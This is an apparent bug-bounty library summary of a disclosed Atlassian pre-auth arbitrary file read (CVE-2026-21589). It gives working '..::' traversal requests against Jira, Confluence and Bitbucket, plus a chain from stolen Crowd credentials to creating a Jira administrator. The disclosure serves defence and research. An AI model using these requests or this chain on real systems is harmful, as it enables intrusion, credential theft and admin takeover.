# You Won’t Hear About These, Even In Myths (Atlassian Jira, Confluence (and more) Pre-Auth Arbitrary File Read CVE-2026-21589)

Pre-auth path traversal in Atlassian's shared webresource router uses '::' as slash, letting unauthenticated attackers read WEB-INF files like crowd.properties and escalate to Jira admin.

- Payout: Research
- Severity: critical
- Program: Atlassian
- Write-up by: Sonny
- Disclosed: 2026-10-06
- CVE: CVE-2026-21589
- Write-up quality: 8/10
- Original: https://labs.watchtowr.com/you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-read-cve-2026-21589/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-re
- Tags: area:web domain:web impact:ato impact:data-leak impact:privesc kind:research platform:research sev:critical tech:java technique:chained technique:source-review vuln:auth-bypass vuln:info-disclosure vuln:path-traversal

**Target:** Atlassian Data Center products (Jira, Confluence, Bitbucket) webresource download endpoints
**Root cause:** Router.unescapeSlashes replaces '::' with '/' after route matching, and getResourceRelativeToWebResource passes user-controlled resourceName into createResourceWithRelativePath without neutralizing '..::' traversal sequences.
**Steps:**
1. Diff atlassian-plugins-webresource 6.0.7 vs 6.0.8; note Router.unescapeSlashes replacing '::' with '/'
2. Identify route /sources/:completeKey/*resourceName reaching serveSource -> getResourceRelativeToWebResource
3. Find plugin with trailing-slash location, e.g. jira.webresources:color-picker-popup/images/ (location /includes/jquery/plugins/colorpicker/images/)
4. Send `GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1`
5. Read WEB-INF/classes/crowd.properties to obtain application.name and plaintext application.password
6. Use leaked Crowd app credentials via Basic auth against Crowd REST API to create user and add to jira-administrators group
**How found:** Advisory's WAF regex matched '::' which is unusual for path traversal; grepping codebase found Router.unescapeSlashes replacing '::' with '/', then traced routes to createResourceWithRelativePath sink and found a plugin with trailing-slash location to control the filename.
**Exploitation:** Unauthenticated attacker reads WEB-INF files including crowd.properties, extracts Crowd application password, then calls Crowd REST endpoints (search users, create user, add to jira-administrators) to gain Jira administrator access.
**Escalation:** File read chained to Crowd SSO credential theft, then Crowd REST API abuse to create admin user and add to jira-administrators group.
**Insight:** Vendor WAF regexes in advisories leak the exact traversal primitive; unusual tokens like '::' in a regex point to custom unescape functions that can be abused after route matching bypasses normal slash filtering.

## Proof of concept (copied exactly from the original report)

**Jira pre-auth arbitrary file read via traversal**

```
GET /download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
Host: {{Jira-Hostname}}
```

**Confluence arbitrary file read request**

```
GET /s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..::..::WEB-INF::web.xml HTTP/1.1
Host: {{Confluence-Hostname}}
```

**Bitbucket arbitrary file read request**

```
GET /s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..::WEB-INF::urlrewrite.xml HTTP/1.1
Host: {{Bitbucket-Hostname}}
```

## Write-ups of the same bug (oldest first)
- 2026-10-06: [You Won’t Hear About These, Even In Myths (Atlassian Jira, Confluence (and more) Pre-Auth Arbitrary File Read CVE-2026-21589)](https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-you-wont-hear-about-these-even-in-myths-atlassian-jira-confluence-and-more-pre-auth-arbitrary-file-re) — Sonny (this one)
- 2026-10-07: [CVE-2026-21589: Critical unauthenticated arbitrary file access in Atlassian products](https://bugbountylibrary.com/r/blog%3Arapid7-com-blog-post-etr-cve-2026-21589-critical-unauthenticated-arbitrary-file-access-in-atlassian-products) — Rapid7

